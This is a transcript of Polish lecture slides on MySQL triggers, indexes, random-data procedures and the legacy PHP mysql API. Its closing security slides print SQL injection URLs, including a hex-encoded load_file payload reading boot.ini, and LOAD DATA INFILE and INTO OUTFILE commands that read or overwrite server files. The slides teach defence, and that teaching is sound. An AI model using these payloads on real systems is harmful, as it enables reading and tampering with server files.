1 / 55

Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos

Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos.com. TRIGGER – specyficzna stored procedure. TRIGGER – funkcja składowana wywoływana automatycznie, przez serwer po zaistnieniu pewnego zdarzenia TRIGGER (wyzwalacz) jest więc swego rodzaju event guardianem obiekt standardowy SQL99.

marlis
Download Presentation

Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. Bazy DanychWykład 7Wojciech St. Mościbrodzkiwojmos@wojmos.com

  2. TRIGGER – specyficzna stored procedure • TRIGGER – funkcja składowana wywoływana automatycznie, przez serwer po zaistnieniu pewnego zdarzenia • TRIGGER (wyzwalacz) jest więc swego rodzaju event guardianem • obiekt standardowy SQL99 update licznik set imie_ile=select count(*) from imie +----------------+ |imie| +----------------+ |Jan| |Tadeusz| |Piotr| |Kacper| +----------------+ mysql> insert into imie values ('Czesio')

  3. Klasyfikacja TRIGGERÓW • Triggery (wyzwalacze) możemy podzielić: • według kryterium czasu: • triggery BEFORE • triggery AFTER • triggery INSTEAD OF (rzadko implementowane) • według kryterium rodzaju operacji (związek z type operacji, a nie poleceniem!) • triggery ON INSERT (działa także w przypadku LOAD DATA) • triggery ON DELETE • triggery ON UPDATE • według kryterium obiektu strzeżonego • triggery modyfikacji danych • triggery modyfikacji struktury (trigger ALTER, DROP) • triggery eventowe (trigger LOGIN)

  4. Budowa TRIGGERA • Ogólna postać: CREATE [DEFINER = { user | CURRENT_USER }] TRIGGER trigger_nametrigger_timetrigger_event ON tbl_name FOR EACH ROW trigger_stmt delimiter | CREATE TRIGGER testref BEFORE INSERT ON test1 FOR EACH ROW BEGIN UPDATE test4 SET b4 = b4 + 1 WHERE a4 = 3; END; | delimiter ; • Prawa (MySql): • tworzenie triggerów wymaga praw TRIGGER dla danej tablicy (wcześniej: prawo globalne SUPER)

  5. obiekty NEW i OLD • Obiekty przechowujące wartość poprzednią i nową: create table t1 (id int, auto_increment primary key, liczba int); create table historia (z char(100), stamp timestamp) delimiter | CREATE TRIGGER moj1 AFTER UPDATE ON t1 FOR EACH ROW BEGIN INSERT INTO history(z) values (CONCAT(OLD.liczba,'->',NEW.liczba)); END; | delimiter ; update t1 set liczba=2 where id=1; insert into t1(liczba) values (222);

  6. Obiekty OLD i NEW • MySQL ułatwia wywołania obiektów poprzez nadanie im nazw delimiter | CREATE TRIGGER pensja_trigger BEFORE UPDATE ON pracownicy_table REFERENCING NEW ROW AS n, OLD ROW AS o FOR EACH ROW IF n.pensja <> o.pensja THEN --wykonaj odpowiednie działania; END IF; delimiter ;

  7. Bezpieczniejsze tworzenie triggerów DROP TRIGGER IF EXISTS moj1; delimiter | CREATE TRIGGER moj1 AFTER UPDATE ON t1 FOR EACH ROW BEGIN INSERT INTO history (zapis) values (3); END; | delimiter ;

  8. Indeks • Indeks jest pomocniczą strukturą nakładaną na tabelę (ściślej: kolumnę lub grupę kolumn), służącą polepszaniu efektywności wyszukiwania. Indeksy pogarszają efektywność operacji udpate, delete i insert. CREATE [UNIQUE|FULLTEXT|SPATIAL] INDEX index_name [index_type] ON tbl_name (index_col_name,...) [index_type] index_col_name: col_name [(length)] [ASC | DESC] index_type: USING {BTREE | HASH}

  9. Indeksy w MySQL • Silnik MySQL używa indeksów zwłaszcza do: • Generowania wyników klauzuli WHERE • Eliminowania krotek (DISTINCT) • Generowania wyników JOIN (warto zadbać, aby indeksy były tego samego typu i wielkości – co ma znaczenie przy indeksach tekstowych) • Generowania agregatów MIN i MAX • Do sortowania za pomocą ORDER BY • Uwaga: MySQL używa własnego algorytmu estymacji efektywności indeksów • Każdy klucz główny jest indeksowany

  10. Indeksy typu HASH i indeksy typu B-TREE • Indeksy zbudowane na drzewach są bardziej elastyczne (dlatego są domyślnym typem) • Z uwagi na budowę, indeks typu HASH: • Może pracować tylko dla porównań >= <= oraz = (ale za to jest bardzo szybki) • Nie przyspiesza sortowania z użyciem ORDER BY (bo nie daje możliwości "znalezienia następnego") • Nie może ocenić ilości danych pomiędzy granicami wyszukiwania (BETWEEN) • Indeksuje jedynie całą wartość klucza

  11. TEXT i BLOB • BLOB (Binary Large OBject) to typ danych służący do przechowywania dużych obiektów binarnych. • TEXT to duże obiekty tekstowe (używają charsetu!) CREATE TABLE picture (ID INTEGER AUTO_INCREMENT,IMAGE BLOB, PRIMARY KEY (ID)) ENGINE=InnoDB;

  12. Projektowanie baz danych jako proces • ETAPY: • Ustalenie wymagań odbiorcy • Modelowanie konceptualne • Modelowanie logiczne • Modelowanie fizyczne • Realizacja bazy danych • Testowanie i walidacja

  13. Problem Mentalna percepcja świata rzeczywistego Model pojęciowy Schemat relacyjnej struktury danych

  14. PROJEKT i kolokwium • Kolokwium: • 25 pytań – 45 minut, suma = 30 punktów • pytania testowe + pytania otwarte • na pewno będzie (...się można spodziewać): • składnie: SELECT, UPDATE, INSERT, DELETE • zbudować zapytania do przedstawionego ERD • narysować prosty ERD (znaleźć błędy?) • poprawić ERD postaci normalne • JOIN – na 2 i 3 tablicach • tworzenie procedur i funkcji • zwracanie wartości • indeksy • najważniejsze funkcje SQL • OUTER/INNER/NATURAL • TRIGGER

  15. BLOB • BLOB – przechowywanie dużych obiektów • przechowuje duże dane binarne • cztery podtypy: • TINYBLOB: 2^8 bajtów • BLOB: 2^16 bajtów • MEDIUMBLOB: 2^24 bajtów • LONGBLOB: 2^32 bajtów • zasadniczo: BLOB=duży VARBINARY CREATE TABLE picture (ID INTEGER AUTO_INCREMENT,IMAGE BLOB, PRIMARY KEY (ID)) ENGINE=InnoDB;

  16. BLOB i obrazki • Dwie formy tworzenia multimedialnych baz: • przechowywanie obiektów (BLOB) • LOAD DATA / SELECT INTO OUTFILE: • przechowywanie referencji (nazwy) LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name' INTO TABLE tbl_name [{FIELDS | COLUMNS} [TERMINATED BY 'string'] [[OPTIONALLY] ENCLOSED BY 'char'] [ESCAPED BY 'char'] ] SELECT ... INTO OUTFILE 'savefilename'

  17. Operator UNION • UNION jest operatorem do łączenia wyników 2+ selectów SELECT ... UNION [ALL | DISTINCT] SELECT ... [UNION [ALL | DISTINCT] SELECT ...] • UNION zakłada, że odpowiednie kolumny mają ten sam typ • Możliwe jest stosowanie ORDER, SORT, LIMIT na całej unii: (SELECT a FROM t1 WHERE a=10 AND B=1) UNION (SELECT a FROM t2 WHERE a=11 AND B=2) ORDER BY a LIMIT 10;

  18. Indeksy + Automatyczne wypełnianie tablic z użyciem procedur

  19. Funkcja tworząca losowy ciąg znaków o zadanej długości delimiter ;; drop function if exists rndtxt; create function rndtxt(dlugosc int) returns text begin declare i int default dlugosc; declare result text default ''; declare znak char(1); while (i > 0) do set i = i - 1; set znak = char( floor(65 + RAND()*(91-65)) ); set result = concat(result, znak); end while; return result; end ;; delimiter ;

  20. Funkcja tworząca losowego człowieka (imię) – 1/2 create table imie(id int auto_increment primary key, wartosc char(30));

  21. Funkcja tworząca losowego człowieka: (imie) – 2/2 CREATE FUNCTION imie() RETURNS CHAR(50) BEGIN DECLARE temp char(50); select wartosc into temp from imie order by rand() limit 1; set temp := concat(ucase(substring(temp,1,1)),substring(temp,2)); return temp; END; • Funkcja tworząca losowego człowieka: (nazwisko) – 1/2 create table sylaba (int id auto_increment primary key, wartosc char(5)); insert into sylaba(wartosc) values ('ko'); insert into sylaba(wartosc) values ('pa'); insert into sylaba(wartosc) values ('fi'); insert into sylaba(wartosc) values ('gu'); insert into sylaba(wartosc) values ('ba'); insert into sylaba(wartosc) values ('sza'); insert into sylaba(wartosc) values ('tu'); insert into sylaba(wartosc) values ('sa'); insert into sylaba(wartosc) values ('ke');

  22. Funkcja tworząca losowego człowieka: (nazwisko) – 2/2 drop function if exists nazwisko; delimiter ;; CREATE FUNCTION nazwisko(sylaby int) RETURNS CHAR(50) BEGIN DECLARE ile_sylab INT default sylaby; DECLARE nazwisko char(50) default ''; DECLARE temp char(5); while (ile_sylab>0) do select wartosc into temp from sylaba order by rand() limit 1; set nazwisko := concat(nazwisko,temp); set ile_sylab := ile_sylab - 1; end while; set nazwisko := concat(nazwisko,'cki'); set nazwisko := concat(ucase(substring(nazwisko,1,1)),substring(nazwisko,2)); return nazwisko; END; ;; delimiter ;

  23. Przygotowanie dużej tabeli drop table if exists czlowiek; create table czlowiek (id int auto_increment primary key, imie varchar(50), nazwisko varchar(50), dane char(255)); create procedure MakeCzlowiek() begin declare sylab int; declare dane int; set sylab := floor(2 + RAND()*(2-0)); set dane := floor(255 + RAND()*(255-100)); insert into czlowiek(imie, nazwisko, dane) select imie(), nazwisko(sylab), rndtxt(dane); end;

  24. Przygotowanie dużej tabeli drop table if exists czlowiek; create table czlowiek (id int auto_increment primary key, imie varchar(50), nazwisko varchar(50), dane char(255)); drop procedure if exists MakeLudzie; delimiter ;; create procedure MakeLudzie(IN ile int) begin declare licznik int default ile; while (licznik > 0) do call MakeCzlowiek(); set licznik := licznik - 1; end while; end; ;; delimiter ;

  25. Przygotowanie dużej tabeli drop table if exists dane; create table dane (id int auto_increment primary key, dana1 char(255), dana2 char(255), dana3 char(255), dana4 char(255), dana5 varchar(50), dana6 char(255)); create procedure MakeDane(IN ile int) begin declare licznik int default ile; while (licznik > 0) do insert into dane(dana1, dana2, dana3, dana4, dana5, dana6) select rndtxt(rand()*200+10), rndtxt(rand()*250+100), rndtxt(rand()*100+50), rndtxt(rand()*250+200), rndtxt(rand()*200+100), rndtxt(rand()*250+10); set licznik := licznik - 1; end while; end;

  26. Tabelka pośrednicząca: drop table if exists czldan; create table czldan (id_czl int, id_dan int); create procedure MakeLink() begin declare id_czl int; declare id_dan int; select id into id_czl from czlowiek order by rand() limit 1; select id into id_dan from dane order by rand() limit 1; insert into czldan values (id_czl, id_dan); end; create procedure MakeLinks(IN ile int) begin while (ile>0) do call MakeLink(); set ile = ile - 1; end while; end;

  27. Indeksy • Indeks jest strukturą bazy danych przeznaczoną do przyspieszania wyszukiwania • Indeksy: • bezklastrowe (leksykony) • klastrowe (skorowidze) CREATE [UNIQUE|FULLTEXT|SPATIAL] INDEX index_name [index_type] ON tbl_name (index_col_name,...) [index_type] index_col_name: col_name [(length)] [ASC | DESC] index_type: USING {BTREE | HASH | RTREE}

  28. Działanie indeksów • Trudne zapytania: select imie, nazwisko from czlowiek left outer join czldan on (czlowiek.id=czldan.id_czl) left outer join dane on (czldan.id_dan=dane.id) order by dana5, nazwisko desc; ... 156638 rows in set (1 min 43.33 sec) create index ind1 on dane(dana5(5)); create index ind2 on czldan(id_czl); create index ind3 on czldan(id_dan); create index ind4 on dane(dana5(50)); ... 156638 rows in set (4.15 sec)

  29. Implementacja MySQL w PHP mySQL mySQLi PDO • Implementacja obsługi mySQL odbywa się w postaci natywnego API dla PHP: mysql, mysqli lub PDO • Alternatywą jest stosowanie Open Connectivity (np. ODBC): ODBC ODBC

  30. PHP i MySQL • Konstrukcja dynamicznego HTML z szablonu w PHP i danych:

  31. (my)SQL w PHP • Operacje na bazie przeprowadzane są przez handlery połączeń • PHP zapewnia specjalny typ resource: połączenie z serwerem HTTP connection MySQL query MySQL connection

  32. mysql_connect resource mysql_connect ( [ string $serwer [, string $nazwa_użytkownika [, string $hasło [, bool $nowe_połączenie [, int $flagi_klienta ]]]]] ) Serwer, do jakiego łączymy user password testowanie, jeśli już otwarte? dodatki

  33. Obsługa błędów • MySQL wysyła błędy do PHP – mogą być one przechwycone: int mysql_errno ([ resource $link ] ) string mysql_error ([ resource $link ] ) • Typowa obsługa: <?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); if (!$link) {    die('Nie można się połaczyć: ' . mysql_error()); };?>

  34. Wybór bazy danych • Wybranie połączenia z bazą (może być także – baza domyślna) bool mysql_select_db ( string $nazwa_bazy [, resource $identyfikator_połączenia ] ) <?php $link = mysql_connect('localhost', ‘user', ‘pass') or die('Nie połączono: '.mysql_error()); }; $db_selected = mysql_select_db(‘moja1', $link); if (!$db_selected) {    die ('Nie można ustawić moja1: '.mysql_error()); };?>

  35. Sprzątamy po zakończeniu pracy • Dobrze napisany skrypt usuwa po sobie połączenie (choć nie jest to konieczne dla połączeń nie-stałych); bool mysql_close ([ resource $link ] ) • Dobry skrypt: otwórz-wybierz-query1-query2-…-queryN-zamknij <?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); mysql_select_db(‘moja_baza’); Query1; // jak – za chwilę Query2; // itd. close($link); ?>

  36. Zapytania: typu result i typu exec • Zapytanie typu result zwraca JAKIŚ wynik (tabelę). Zapytania tego typu to: SELECT, DESCRIBE, EXPLAIN i SHOW • Zapytanie typu exec wykonuje się na bazie danych i zwraca jedynie status (true, albo false). Typowe zapytania to CREATE, DELETE, DROP i INSERT. • Oba typy zapytań obsługuje funkcja mysql_query.Dla zapytań result zwracany jest resource typu handler wyniku.Dla zapytań exec zwracany jest resource typu bool. resource mysql_query ( string $query [, resource $link [, int $typ_wyniku ]] ) Treść zapytania Handler połączenia (otwartego!) Flagi (np. buforowanie)

  37. Zapytania typu exec • Zapytania takie mają prostą obsługę błędów: <?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); $query = "insert into faktura values (‘N12943’)"; $result = mysql_query($query)    or die("Zapytanie niepoprawne:".mysql_error()); close($link); ?> zwrócona wartość to TRUE lub FALSE • Dodatkowo, można sprawdzić, ile krotek uległo zmianie (DELETE!): int mysql_affected_rows ([ resource $link ] ) int mysql_insert_id ([ resource $ link ] )

  38. Zapytania typu result • Zapytania tego typu zwracają tabelę (jako handler wyniku) z danymi.Jest ona przetwarzana wolniej niż kursor SQL. mixed mysql_result ( resource $wynik, int $wiersz [, mixed$pole ]) Wynik zwrócony przez mysql_query() Który wiersz wyniku (numerowanie od 0) Która kolumna wyniku (numerowanie od 0) zwrócona wartość to handler tablicy <?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); $result = mysql_query("select * from faktura")    or die("Zapytanie niepoprawne:".mysql_error()); $dana = mysql_result($result,0,0); echo $dana; close($link); ?>

  39. Kursor - Szybka forma przetwarzania • Funkcja mysql_fetch_row działa szybciej niż mysql_result array mysql_fetch_row (resource $wynik) bool mysql_data_seek (resource $wynik, int $nr) mysql_query() mysql_data_seek() mysql_fetch_row() int mysql_num_rows (resource $wynik) mysql_data_fields() int mysql_num_fields (resource $wynik) mysql_num_rows()

  40. Obsługa kursora po stronie PHP function DBArrayQuery($query) { $link = mysql_connect('localhost', ‘alex', ‘lipton'); $result = @mysql_query($query); $tablica = array(); $num_fields = mysql_num_fields($result); // kursor - X $num_rows = mysql_num_rows($result); // kursor - Y $nr_row = 0; while ($nr_row < $num_rows) { $nr_field = 0; $curr_row = mysql_fetch_row($result); while ($nr_field < $num_fields) { $tablica[$nr_row][$nr_field]=$curr_row[$nr_field]; $nr_field++; }; $nr_row++; };return $tablica;};

  41. Obsługa praw dostępu • Autoryzacja za pomocą wielu użytkowników: database: mysql database: mysql • Autoryzacja za pomocą auth-usera: database: moja

  42. Typowe problemy: • Na stronach zbudowanych w oparciu o PHP często napotykamy na błędy przy wywołaniu takiej funkcji: function DBInsert($value) { $link = mysql_connect('localhost', ‘alex', ‘lipton'); $query = ”insert into pracownik (nazwisko) values ”; $query .= ”(‘”.$value.”’)”;@mysql_query($query); mysql_close($link);};...DBInsert(‘Kowalski’); • Dlaczego?

  43. Typowe problemy: • Problemem jest fakt, że użytkownik lub autor skryptu może dopisać do zapytania łańcuchy zaburzające składnię SQL: function DBInsert($value) { $link = mysql_connect('localhost', ‘alex', ‘lipton'); $query = ”insert into pracownik (nazwisko) values ”; $query .= ”(‘”.$value.”’)”;@mysql_query($query);};DBInsert(” d`Artagnan”); insert into pracownik (nazwisko) values (’d’Artagnan’); • Aby tego uniknąć można zastosować funkcję ochronną: string mysql_escape_string ( string $łańcuch )

  44. Tablica SQL w tabelce HTML dzięki tablicy PHP • Etapy rozwiązywania problemu: • Obsłużyć połączenie z bazą danych • Wysłać zapytanie • Odebrać rezultat i wpisać do tablicy dwuwymiarowej w PHP • Opakować zawartość tablicy PHP w znaczniki HTML • Funkcja tworząca połączenie: function DBlink($db_base, $db_user, $db_pass) { $link = mysql_connect($db_host, $db_user, $db_pass) or die ('Cant access: ' . mysql_error()); mysql_select_db($db_base, $link); or die ('Cant switch to DB: ' . mysql_error()); return $link;};

  45. Tablica SQL w tabelce HTML dzięki tablicy PHP • Funkcja wysyłająca zapytanie i odbierająca wynik: function DBArrayQuery($query) { $link = DBlink(); $result = @mysql_query($query); $tablica = array(); $nr_row = 0; while ($nr_row < mysql_num_rows($result)) { $nr_field = 0; $curr_row = mysql_fetch_row($result); while ($nr_field < mysql_num_fields($result);){ $tablica[$nr_row][$nr_field]=$curr_row[$nr_field]; $nr_field++; }; $nr_row++; };return $tablica;};

  46. Tablica SQL w tabelce HTML dzięki tablicy PHP • Funkcja obsługująca wynik w postaci HTML: function HTMLize($tablica) { echo ”<TABLE BORDER=1>”; foreach ($tablica as $wiersz) { echo ”<TR>”;foreach ($wiersz as $komorka) { echo ”<TD>”. $komorka . ”</TD>”; }; echo ”</TD>”; };}; • Program główny: HTMLize(DBArrayQuery(”select name, ind from student”));

  47. Uwagi o bezpieczeństwie • Najważniejsze przykazania: • NIGDY nie pisz skryptów łączących się do bazy jako root (mysql) • NIGDY nie uruchamiaj serwera bazy danych z konta superusera • Nie dopuszczaj do wykonania komendy LOAD DATA INFILE z sieci • Nie dopuszczaj do wykonania komendy SELECT INTO OUTFILE z sieci • Nie pozwalaj na generowanie dowolnych SQLi przez użytkownika • Uważaj na SQL injection attack • SQL Injection attack (UNION type): $query = "SELECT * FROM user where max_connections = " . $_REQUEST['user'];$result = mysql_result($query); http://mojastrona.com/query.php?user=0 http://mysql.example.com/query.php?user=1+union+select+name,dl,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+func

  48. Atak typu UNION + LOAD FILE • W SQL łańcuch tekstowy można reprezentować jako jego wartości numeryczne. Na przykład: 'c:/boot.ini' jest równoznaczne z: 0x633a2f626f6f742e696e69 • Skoro tak to można wykonać zapytanie select 0x633a2f626f6f742e696e69 • A więc można wpisać taki URL: http://mysql.example.com/query.php?user=1+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 • I zobaczyć W PRZEGLĄDARCE: [boot loader] timeout=30default=multi(0)disk(0)rdisk(0)pa 1 1 N N N NN N N N N N N N N N N N N N N N N 1 1 1 1 1 1

  49. Ataki typu DATA INFILE/DATA OUTFILE • Ta metoda ataku wymaga dopuszczenia zapytań SQL podawanych przez klienta. Żeby obejrzeć plik z serwera wystarczy: create table foo( line blob );load data infile 'c:/boot.ini' into table foo;select * from foo; • Ta metoda ataku pozwala (na niespatchowanym mysql) na podmianę plików konfiguracyjnych: create table xxx( line text );insert into xxx values (”A to mój nowy plik konfiguracyjny”);select line from xxx into c:\mysql\mysql.cnf

More Related